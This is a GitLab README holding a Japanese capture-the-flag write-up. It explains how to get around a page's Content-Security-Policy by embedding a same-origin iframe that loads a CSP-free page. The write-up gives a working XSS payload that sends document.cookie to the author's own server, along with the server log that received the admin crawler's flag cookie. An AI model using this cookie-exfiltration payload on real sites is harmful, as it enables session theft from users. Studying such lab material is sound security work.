Skip to content
Snippets Groups Projects
Select Git revision
  • main
1 result

README.md

Blame
  • shiragi's avatar
    shiragi authored
    09d389c4
    History
    README.md 1.63 KiB

    Noscript (Normal)

    問題

    /user/(任意のUUID)に,Adminのクローラーを向かわせてなんとかしてCookieにあるフラグを抜き取ります.

    ただし,Content-Security-Policyによって,Scriptを動かしたりすることができず,一見XSSは不可能のようです.

    解法

    /user/のCSPはインラインスクリプトは動かせませんが,selfに限り<iframe>が使えます.

    しかも,/username/はCSPがないため,自由に<script>を動かすことができます.

    そのため,/user/で表示できるprofileには,/username/を開く<iframe>を埋め込み,

    /username/で表示できるscriptには<script>を埋め込みます.

    <script>でCookieを抜き取れたら,自宅サーバーやWebhookを使ってCookieを投げつけてもらいます.

    以上より,以下のusernameprofileを仕込んでクローラーに来てもらいます.

    UUID : /user/da09178f-4a9d-4867-87ea-e4738397d9b9

    Username : <script>var img = document.createElement("img");img.setAttribute("src", "http://[自宅サーバーのドメイン]:31495/?" + document.cookie);document.body.appendChild(img);</script>

    Profile : <iframe src="/username/da09178f-4a9d-4867-87ea-e4738397d9b9"></iframe>

    今回は<img>を使っていますが,xhrとかでもいけるはずです.

    Click to show FLAG $ python3 -m http.server 31495
    Serving HTTP on 0.0.0.0 port 31495 (http://0.0.0.0:31495/) ...
    18.176.71.128 - - [22/Jun/2024 22:26:55] "GET /?flag=FLAG{n0scr1p4_c4n_be_d4nger0us} HTTP/1.1" 200 -

    Writer: shiragi